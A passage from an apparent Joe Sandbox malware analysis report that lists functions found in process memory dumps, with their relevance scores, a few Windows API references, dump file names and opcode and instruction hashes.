Instruction Fuzzy Hash: E9312434B102198FCB00EFA8C581EDDBBB2EF88320F195550E505AB366DA30EC85CB91

Function 39694385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

TJpq, xrefs: 39694462
8pq, xrefs: 39694429

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 8pq$TJpq
API String ID: 0-1168589435
Opcode ID: 6ad8a359f83b7ff8de428c70789f50bd2661a57344ec434ee0be9af9e789dc90
Instruction ID: 2354e08a1730ecd3c7a2456033be40c10ee18ed57f3cfd4db847e451d848c0c4
Opcode Fuzzy Hash: 6ad8a359f83b7ff8de428c70789f50bd2661a57344ec434ee0be9af9e789dc90
Instruction Fuzzy Hash: 02313434B502198FCB00EFA8C581EDDBBB2EF88320F195594E505AB376DA70EC85CB91

Function 00159D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'kq, xrefs: 00159D84
4'kq, xrefs: 00159D6D

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 1d1249c2b0479d854ec1b329f383754645b37830fd695cc75cd22b3a86debacb
Instruction ID: 79d2a7a800597cd9f4bdea8b1d62fc1ad6cc321b12821ac2d995da55728f1040
Opcode Fuzzy Hash: 1d1249c2b0479d854ec1b329f383754645b37830fd695cc75cd22b3a86debacb
Instruction Fuzzy Hash: A2F04435300118AFDB181BA5985497BBBDBEBC83A1B148429BD0AC7391DF66CC4683A1

Function 3A934590 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3A9346A2

Memory Dump Source

Source File: 00000004.00000002.2975215347.000000003A930000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a930000_JOSXXL1.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 414ccbd03483b8614ce2280105cd79d607de53437db7d9d65f19498a4f90e7fd
Instruction ID: fd66362544c20e22b8edd7d71b7e33e2e181fad72087c7eca2f660aa08a1b3f4
Opcode Fuzzy Hash: 414ccbd03483b8614ce2280105cd79d607de53437db7d9d65f19498a4f90e7fd
Instruction Fuzzy Hash: 5141C2B5D10309DFDF14CF9AC984ADEBBB5BF88314F61852AE418AB250D7759881CF90

Function 3A93458F Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3A9346A2

Memory Dump Source

Source File: 00000004.00000002.2975215347.000000003A930000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a930000_JOSXXL1.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 718aee17befee30873c92ae0d8a11e20159c64c2f5b14a526f8e377e7d0d1448
Instruction ID: d51d254180fa810967a85eb56cd2018584cbd09690f3d6a42ac92d4883fb66aa
Opcode Fuzzy Hash: 718aee17befee30873c92ae0d8a11e20159c64c2f5b14a526f8e377e7d0d1448
Instruction Fuzzy Hash: 1C41D2B1D00349DFDF14CF9AC984ADDBBB5BF88314F61812AE418AB250D7719881CF90

Function 3A933384 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 3A936C11

Memory Dump Source

Source File: 00000004.00000002.2975215347.000000003A930000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a930000_JOSXXL1.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 96ced3e15f10a050492010c8b5c6b7d76864c3f53837e1a52d35cab19a85c32d
Instruction ID: f21ee553b60683cf5fd0f9d179cfea9222b29f50b5c813cd85fd45f67566c5e8
Opcode Fuzzy Hash: 96ced3e15f10a050492010c8b5c6b7d76864c3f53837e1a52d35cab19a85c32d
Instruction Fuzzy Hash: C64149B9900305DFDB54CF99C884A9ABBF5FB88314F24C859D618AB361D778A841CFA0

Function 3A849BB0 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A849C3F

Memory Dump Source

Source File: 00000004.00000002.2975138885.000000003A840000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a840000_JOSXXL1.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9f6f2b42c518385c796d3f48d1e422bc27e95b620a02f8e549592afdfcdb8fac
Instruction ID: 03bab3b04080f1ae6d45d246bd20b17edf09b62bd17b1b2b39a654d0b2fd24d2
Opcode Fuzzy Hash: 9f6f2b42c518385c796d3f48d1e422bc27e95b620a02f8e549592afdfcdb8fac
Instruction Fuzzy Hash: 4A2105B59002599FDB10CFA9D584ADEFFF5EF48320F14841AE954A7350C374A941CF61

Function 3A849BB8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A849C3F

Memory Dump Source

Source File: 00000004.00000002.2975138885.000000003A840000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a840000_JOSXXL1.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: db0d45d84d616d1fdda79d574133e2f213b1a05c4802de6f6b13c3a248efd0e6
Instruction ID: a45a103fbdf45c82c524697f8938791168071c68f0603ed9b8aad7260e844f82
Opcode Fuzzy Hash: db0d45d84d616d1fdda79d574133e2f213b1a05c4802de6f6b13c3a248efd0e6
Instruction Fuzzy Hash: 1121D5B59042589FDB10CFAAD584ADEFFF4EB48320F14841AE958A7310D374A944DFA5

Function 3A938288 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3A9390ED

Memory Dump Source

Source File: 00000004.00000002.2975215347.000000003A930000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a930000_JOSXXL1.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: c70db84c0d201a587f6f2eda97c295523c5897ce31b8c791f46572bccce0cc59
Instruction ID: b08c3d36dcc700ff57f1f4236a15efce1d8293eb1d18358fe3a250bf0533f474
Opcode Fuzzy Hash: c70db84c0d201a587f6f2eda97c295523c5897ce31b8c791f46572bccce0cc59
Instruction Fuzzy Hash: EA1145B19003088FCB20DFAAC584BCEBBF8EB48320F108419D558B7310C379A940CFA5

Function 3A939097 Relevance: 1.5, APIs: 1, Instructions: 43comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3A9390ED

Memory Dump Source

Source File: 00000004.00000002.2975215347.000000003A930000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a930000_JOSXXL1.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 745924c90a813f4f076105d51825437ba661f580bf2999c723976e5ef9f3c9a6
Instruction ID: 5a224ba927ab8502f5138891c4f8631108e8f96e7dcbd29382d2e0407bc9043c
Opcode Fuzzy Hash: 745924c90a813f4f076105d51825437ba661f580bf2999c723976e5ef9f3c9a6
Instruction Fuzzy Hash: 901112B59002488FCB20CFAAD584BDEBFF4EB48320F208459D558B7210C379A584CFA5

Function 39694790 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

Hoq, xrefs: 39694825

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: Hoq
API String ID: 0-3049094369
Opcode ID: 12282ae244c078db77b031865fe67321155c298a1108cb30a45571c1aed84e02
Instruction ID: 415247e5324a5fb377e4fc5475c0b4f02ebbd491ffdd92a105b764457359af09
Opcode Fuzzy Hash: 12282ae244c078db77b031865fe67321155c298a1108cb30a45571c1aed84e02
Instruction Fuzzy Hash: EA31B571B052489FCB45EFB998559AE7BBAEFC9300B1081BDE509DB252DE308D02C7A1

Function 396948D0 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

Hoq, xrefs: 3969492E

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: Hoq
API String ID: 0-3049094369
Opcode ID: 9322dd365003d19ae7657c2d26cb7fc4571fbbd93228e86232b67b0865425fc3
Instruction ID: 26498d6d00d95ec357a37fce44f38c07a25bbfd3a0861d396af922b76a0b1f75
Opcode Fuzzy Hash: 9322dd365003d19ae7657c2d26cb7fc4571fbbd93228e86232b67b0865425fc3
Instruction Fuzzy Hash: C43125306052859FC7059F79C824A9E7FBAFFC9300F2481BAD9058B7A2CE358D46C791

Function 00152790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001527BF

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: fddd2bf682475d2aa75e260e73d018ea1a186677bb96f47b39d414f9ac9b4421
Instruction ID: e86d7c51aea4383d26aa1f2a6ece29d2cbe842918c96abe171668e1c4f04a9ab
Opcode Fuzzy Hash: fddd2bf682475d2aa75e260e73d018ea1a186677bb96f47b39d414f9ac9b4421
Instruction Fuzzy Hash: 96313A74D09349CFCB01DFB9D9046EDBFB5EF4A300F0051AAD844AB261EB345A89CBA1

Function 39694632 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

*A7U, xrefs: 3969463C

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: *A7U
API String ID: 0-345338622
Opcode ID: 46ae877ecad721c0f7adae4423ccd068b88536a7bdf9bb763fcc8962fc0f93e8
Instruction ID: a6b3f61b007f8d815ab1acfd773633bfb3c6e192a7740d02e97e9ba0e021bee3
Opcode Fuzzy Hash: 46ae877ecad721c0f7adae4423ccd068b88536a7bdf9bb763fcc8962fc0f93e8
Instruction Fuzzy Hash: AF11AC793112108FC704DF29D654A86BBE6EF89761B1184BAE549CB771CA71EC04CB51

Function 0015E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d29e1d98747d08c4ed73d782c0919dd6e0ba5697bef9a65f9b762e3d46260e65
Instruction ID: ea02b98002d68c6ab6d8f0a160143ea9446c228af5230543b19cfc05af806907
Opcode Fuzzy Hash: d29e1d98747d08c4ed73d782c0919dd6e0ba5697bef9a65f9b762e3d46260e65
Instruction Fuzzy Hash: D8129835065646CFA2502B70EDAC12BBBF1FB1F32B7546CA8F10FC58659B3144C9CA62

Function 39694A68 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc99f94ff7d1d85f0922f78bd3ef9f5fe3efad7252875562e9ec8a5e8fb1063a
Instruction ID: 7f96960fdee79ba9672b424b8b2512b765caf2aade71cd5a367b8dbc736c25fe
Opcode Fuzzy Hash: cc99f94ff7d1d85f0922f78bd3ef9f5fe3efad7252875562e9ec8a5e8fb1063a
Instruction Fuzzy Hash: 41512276A063159FD7148F69D841AEBBBB9FBC8360F14863AE519C7750DB30E801CBA0

Function 001580D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 558d919b214e0a12f2ba8d9d584cca523db807dc8f74129c2e1e9a9a0d4b94d2
Instruction ID: b11f9ed9fa86cf692f183a364c07df32e5e78d186e0665403a7a53abc51f4cd3
Opcode Fuzzy Hash: 558d919b214e0a12f2ba8d9d584cca523db807dc8f74129c2e1e9a9a0d4b94d2
Instruction Fuzzy Hash: 5E71F534700A05CFCB15DF68C884A6A7BE6AF99342F1540A9E826EF371DB70DC86CB50

Function 3A7FD700 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af623900eaee78c92188c32c279468c90ef40a203dac693736d0eaab5b04063a
Instruction ID: 1da6bafe058f20206eb59341b86b1af2dfa2aa8b049277ed70e4e3e20a20e0c4
Opcode Fuzzy Hash: af623900eaee78c92188c32c279468c90ef40a203dac693736d0eaab5b04063a
Instruction Fuzzy Hash: 44819F74E412689FDB65DF69CD90BDDBBB2BB89300F1080EAD848A7265DB315E85CF40

Function 3A8021B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3435efdcb30457192044cb667453358a923e397090d974b4f7222807088a9a2e
Instruction ID: 0fe8c253c6cf885152791b4b77946c1d574b5cd7f84a006fbfdfe6187a0c3463
Opcode Fuzzy Hash: 3435efdcb30457192044cb667453358a923e397090d974b4f7222807088a9a2e
Instruction Fuzzy Hash: 0371BD74E01208CFDB18DFA9C990ADDBBB2BF89300F249129D804BB364EB759946CF50

Function 3A8081E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68ddd9239ccdda32f15cf7a1ad29c1b72918bb39f8836b37ebfbe4c1826eb697
Instruction ID: bd821462b7e8fe80f1e151dc57540f32b279f2d37584bcd750b8f8d5be910f29
Opcode Fuzzy Hash: 68ddd9239ccdda32f15cf7a1ad29c1b72918bb39f8836b37ebfbe4c1826eb697
Instruction Fuzzy Hash: 3971CD74E01208CFDB14DFA5C990ADEBBB2BF89300F249529D814BB365EB359986CF50

Function 3A7FD410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c529b54693458555529f38bf2b2b29a83d8682af18176b938bd45dcd353fbff
Instruction ID: 2c3a2a5213261cd4b43da0c3c613ca240eb1062d04d361c08e1130902453151d
Opcode Fuzzy Hash: 5c529b54693458555529f38bf2b2b29a83d8682af18176b938bd45dcd353fbff
Instruction Fuzzy Hash: DB71CF74E01218CFDB14DFA5C990AEDBBB2BF89300F249529D418BB365EB359986CF50

Function 3A7F73E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a829f0ee1ba92a3a40adffb3507651fd438c6b28c08110b540b56b75598c3556
Instruction ID: cc23d19ffed9ce5e69bf69e02b2a484ac776757e04eefaf0d6594c0322ffc744
Opcode Fuzzy Hash: a829f0ee1ba92a3a40adffb3507651fd438c6b28c08110b540b56b75598c3556
Instruction Fuzzy Hash: FA71DF74E01218CFDB05DFA9C990ADDBBB2AF89300F24952AD414BB364DB359986CF50

Function 0015F71F Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a3385fde2787be5d56db9e84d43c0dd6f6e80ab6eaf65e818ab5a1d0dc90db0
Instruction ID: 7816fb0bfdc6d5040f581949dcf9b5d8ed1d5cfc1086a765a4235fc679425408
Opcode Fuzzy Hash: 2a3385fde2787be5d56db9e84d43c0dd6f6e80ab6eaf65e818ab5a1d0dc90db0
Instruction Fuzzy Hash: AA61F274D0021CDFDB15DFA5C954AADBBB2BF89300F208529E805BB365DB355A8ACF40

Function 3A7FEE3B Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c6bba4ba159cab10b9192ee32e00cc64108ea69e95651144cc19ff98b627d3d
Instruction ID: 46095e93e14d8834e7088eb42d14fe3d4d82efb7739223a6e64379769ca8079f
Opcode Fuzzy Hash: 0c6bba4ba159cab10b9192ee32e00cc64108ea69e95651144cc19ff98b627d3d
Instruction Fuzzy Hash: 3861AE74E012289FDB65DF69CC90BDEBBB2AB89300F5081EAD41DA7254DB315E85CF40

Function 0015D548 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e4e9268e9e055f332ac867a915cd4855a586611ac3fe832ca88315a0b417d14
Instruction ID: f5a3b56aabe9ed129b827dc489470786e3ff01d18ac43333b9729d549329b0b2
Opcode Fuzzy Hash: 7e4e9268e9e055f332ac867a915cd4855a586611ac3fe832ca88315a0b417d14
Instruction Fuzzy Hash: 2E519174E012089FDB48DFA9D9849DDBBF2BF89300F249169E819AB365DB31A905CF10

Function 0015A303 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05fcad4a38cb6e725913a32d84f90781bf4a21184488513d04d04dfb89b5621f
Instruction ID: 4039adef756f642408ba28b04e1d63b35196e5891c6519e79a9ad8dba6167467
Opcode Fuzzy Hash: 05fcad4a38cb6e725913a32d84f90781bf4a21184488513d04d04dfb89b5621f
Instruction Fuzzy Hash: 6941DD31A44249CFCF11CFA4C844AADBFB2BF49315F148255E9259F2A1D370E958CB62

Function 3A7FFB37 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f661f6c2ba430ac7d687c7675b933b9a0a9f676437269bb8033c0c05f3b2b3bc
Instruction ID: 62bfd41a19f9be65dfd8ba724ec8ceb62018069795a614ac6b3adaffe6fd8578
Opcode Fuzzy Hash: f661f6c2ba430ac7d687c7675b933b9a0a9f676437269bb8033c0c05f3b2b3bc
Instruction Fuzzy Hash: 9641C074D05219CFCB14CFA4D9946EDBBF2BB49300F10956AD405B73A4EB359A4ACF50

Function 3A7FFB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d76a04e1598e0287e8e3f63bdaa7d0415e80d33573df1431534146228b26cfe
Instruction ID: 27c1e6ab7e36fc43ff9e8667f0513e26d43e08c0af0b35adde8ed75de5b9ba6b
Opcode Fuzzy Hash: 1d76a04e1598e0287e8e3f63bdaa7d0415e80d33573df1431534146228b26cfe
Instruction Fuzzy Hash: 4441AEB4E01219CFDB14CFA5D5946EDBBF2BB88300F10946AD815B73A4EB359A46CF50

Function 00159C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d91380be146a03057c10ed5a0905776f53196ff3a48ff10505d4500b245e30c
Instruction ID: d8248f5e37aba247defa2b49abe4a97cad6df89138431580ee9d244a39b446c8
Opcode Fuzzy Hash: 8d91380be146a03057c10ed5a0905776f53196ff3a48ff10505d4500b245e30c
Instruction Fuzzy Hash: 77415B30600245CFDB01CF68C844B6A7BF6EF89312F558466E928CF265E775DD45CBA2

Function 00155658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892b09b5de668b47d07bdfce80c3a5e37330d15905c3e15f0ed30a510230cefa
Instruction ID: def03c651873a1e51b4aad2fc2c861d6d1e9ec5a027b05705b049df187d0c257
Opcode Fuzzy Hash: 892b09b5de668b47d07bdfce80c3a5e37330d15905c3e15f0ed30a510230cefa
Instruction Fuzzy Hash: E1318031204149DFCF059FA4D9A4AAE7BB2EB88301F508024FD199B255CB35DEA5DFA0

Function 3A808461 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61bff3bff1853fe2d743ba6e53be53a34a8c7b71b48ab0060bb00fc334cc0efb
Instruction ID: ff466ee016edb87ca128a4f65645a71a4356b4e6ec1293792dc115d9bd4129f4
Opcode Fuzzy Hash: 61bff3bff1853fe2d743ba6e53be53a34a8c7b71b48ab0060bb00fc334cc0efb
Instruction Fuzzy Hash: 2D313274E052089FEB58CFAAD8406DDBBF2BF89300F14D42AC408BB268DB744946CF44

Function 3A7FE588 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72f5e5564095d343dc02c224594e33c1d498e75c16d5bdd6ac087b1f4b2c407e
Instruction ID: 8c5388c8938012bf51f7c54e15ccf68c0ee780dd39b81b83136c394b8ac2786a
Opcode Fuzzy Hash: 72f5e5564095d343dc02c224594e33c1d498e75c16d5bdd6ac087b1f4b2c407e
Instruction Fuzzy Hash: DA31553470021ACBCB15CB68CCE446EBBB2BB40250305497AE018DF761CB32DE4AC791

Function 3A8021A7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb125d216098749895088d8de28824cf791c3a7713613e9b59965be29ab41fbc
Instruction ID: 1ce0f0bbfa373d71846932d8bc34d803dd5eb6aee244b838ed5dc9a1f2e47cfa
Opcode Fuzzy Hash: bb125d216098749895088d8de28824cf791c3a7713613e9b59965be29ab41fbc
Instruction Fuzzy Hash: DE310670E052488FDB58CFEAD9506DEBBF2AF89300F24D12AD418BB264EB745942CF54

Function 3A80FB23 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 605acb2da4ea8d53d666e8b38a190eeb915454ae785d492a5ecb9f3875afd471
Instruction ID: fef816e3784b6cf5c2b087759ab1fee682046effb382bce333df2381b6c0b567
Opcode Fuzzy Hash: 605acb2da4ea8d53d666e8b38a190eeb915454ae785d492a5ecb9f3875afd471
Instruction Fuzzy Hash: 2331E074E052189FDB58CFEAD850AEDBBF2AF89300F14D12AD418BB264DB745906CF54

Function 3A7F70AF Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c4f54336bc9bc9d962aa740d0f398eada89bf9b6bd6a3dfe43dc7ac07f4e17b
Instruction ID: 0617f862d7bf6228905fa7faa4f3ace80a757697d6d4ebbbe324682f6c2b3eca
Opcode Fuzzy Hash: 1c4f54336bc9bc9d962aa740d0f398eada89bf9b6bd6a3dfe43dc7ac07f4e17b
Instruction Fuzzy Hash: BE31F274E012488BEB18DFAAD8406DDBBF2BF8A300F10D12AD418BB254DB755946CF50

Function 3A8081DB Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2975012798.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e81a771095a368188a47d530d55f1cd82f798552de03427ce4cc2fa98d28513b
Instruction ID: 2c4cb4486376d33d733eadb1d0597cf2f14a53a83cef2cf6e6659af9dcedd59c
Opcode Fuzzy Hash: e81a771095a368188a47d530d55f1cd82f798552de03427ce4cc2fa98d28513b
Instruction Fuzzy Hash: DA311374E056089FEB44CFAAD9406DEBBF2AF89300F64D42AD418BB254EB345942CF54

Function 3A7FD401 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

